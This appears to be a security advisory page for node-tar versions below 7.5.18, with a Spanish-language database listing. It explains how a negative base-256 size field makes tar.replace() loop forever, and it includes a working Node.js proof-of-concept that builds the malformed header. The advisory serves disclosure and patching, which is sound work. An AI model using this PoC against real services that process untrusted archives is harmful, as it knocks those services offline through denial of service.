node-tar: Negative tar entry size causes infinite loop in archive replace
Summary
A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.
Details
The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.
For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.
This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.
PoC
Save as poc.mjs in a project with the vulnerable package installed and run:
node poc.mjsimport fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0)
oct(h, 0o644, 100, 8)
oct(h, 0, 108, 8)
oct(h, 0, 116, 8)
// base-256 encoded -512 in the size field
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12)
h.fill(0x20, 148, 156)
h[156] = 0x30
h.write('ustar\0' + '00', 257, 8, 'binary')
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
console.log(r.error?.code === 'ETIMEDOUT')
// Output: trueImpact
An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | tar | < 7.5.18 | 7.5.18 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-835- Plataforma
- npm
- Paquete
tar- Publicada
- 20.07.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-8x88-c5mf-7j5w - CC BY 4.0
Historial de vulnerabilidades: tar
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 21
- Primera → última
- 10.2017 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 15
- Media 5
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 0
- 2021: 5
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 12
-
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